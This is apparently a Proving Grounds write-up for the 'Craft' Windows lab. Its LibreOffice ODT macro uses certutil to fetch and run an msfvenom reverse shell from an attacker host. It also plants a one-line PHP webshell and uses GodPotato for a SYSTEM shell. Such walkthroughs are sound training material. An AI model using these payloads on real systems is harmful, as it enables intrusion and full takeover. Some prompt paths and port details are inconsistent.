Skip to content

Craft Writeup - Proving Grounds

Intermediate Windows

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Craft runs a XAMPP stack whose only web feature is an ODT file upload, processed server-side by LibreOffice. A macro bound to the document's open event gives a shell as a low-privileged user. That user can write to the Apache web root, and a PHP webshell run as the Apache service account has SeImpersonatePrivilege, which GodPotato abuses for a SYSTEM shell.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sCV -p- --open $TARGET_IP
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
Explain command
-Pn -n Skip host discovery and DNS resolution.
-sCV Run the default scripts and probe service versions.

Only port 80 is open, so the web app is the only path forward. Add the box's vhost name and fuzz directories.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP craft.offsec" | sudo tee -a /etc/hosts
$TARGET_IP craft.offsec
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://craft.offsec -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt
200  upload.php   # file upload form
301  /uploads/    # uploaded file destination
301  /assets/
301  /css/
301  /js/
Explain command
-x Also probe these file extensions on each discovered path.

The upload form only accepts ODT (OpenDocument Text) files, which this XAMPP install processes with LibreOffice.

Initial Foothold

Malicious ODT macro

LibreOffice macros bound to the document's Open Document event run automatically when the file is opened, which is exactly what the server does to every upload. Create a Basic macro in LibreOffice Writer that downloads and runs a reverse shell, bind it to the Open Document event, and save the document as ODT.

Sub Main
    Shell("cmd /c certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe C:\Windows\Tasks\shell.exe")
    Shell("cmd /c C:\Windows\Tasks\shell.exe")
End Sub

The target is 64-bit, so the payload must be an x64 reverse shell or it silently fails to run.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o shell.exe
Payload size: <snip> bytes
Saved as: shell.exe

Host the payload and start a listener.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Upload the malicious ODT through upload.php. The server opens it with LibreOffice, the macro fires, certutil downloads the payload, and it runs.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49123
C:\xampp\htdocs>whoami
craft\thecybergeek

Shell as thecybergeek. Check its privileges.

Privilege Escalation

Lateral move to the Apache account

Check the current user's privileges.

PS C:\Users\Guest\Desktop> whoami /priv
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

No SeImpersonatePrivilege, so a potato attack will not work from this context. Since this is XAMPP, the Apache service account is worth checking instead. The web root at C:\xampp\htdocs is writable by thecybergeek, so drop a PHP webshell there.

PS C:\Users\Guest\Desktop> echo ^<?php system($_GET['cmd']); ?^> > C:\xampp\htdocs\cmd.php

Confirm it executes as the Apache account and check its privileges.

┌──(kali㉿kali)-[~]
└─$ curl "http://craft.offsec/cmd.php?cmd=whoami"
craft\apache
┌──(kali㉿kali)-[~]
└─$ curl "http://craft.offsec/cmd.php?cmd=whoami+/priv"
SeImpersonatePrivilege Impersonate a client after authentication Enabled

apache has SeImpersonatePrivilege. Stage a second reverse shell and GodPotato on the target through the webshell, on a different port from the first shell.

GodPotato to SYSTEM

Download GodPotato on Kali first.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o shell2.exe
Payload size: <snip> bytes
Saved as: shell2.exe
┌──(kali㉿kali)-[~]
└─$ wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O GodPotato.exe
┌──(kali㉿kali)-[~]
└─$ curl "http://craft.offsec/cmd.php?cmd=certutil+-urlcache+-split+-f+http://$ATTACKER_IP/shell2.exe+C:\Windows\Tasks\shell2.exe"
┌──(kali㉿kali)-[~]
└─$ curl "http://craft.offsec/cmd.php?cmd=certutil+-urlcache+-split+-f+http://$ATTACKER_IP/GodPotato.exe+C:\Windows\Tasks\GodPotato.exe"

Start a listener and trigger the second shell through the webshell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ curl "http://craft.offsec/cmd.php?cmd=C:\Windows\Tasks\shell2.exe"

The listener catches a shell as craft\apache. Run GodPotato, which abuses SeImpersonatePrivilege to impersonate SYSTEM through a coerced DCOM activation.

PS C:\Users\Guest\Desktop> C:\Windows\Tasks\GodPotato.exe -cmd "C:\Windows\System32\cmd.exe /c whoami"
nt authority\system

SYSTEM confirmed through the potato chain.

References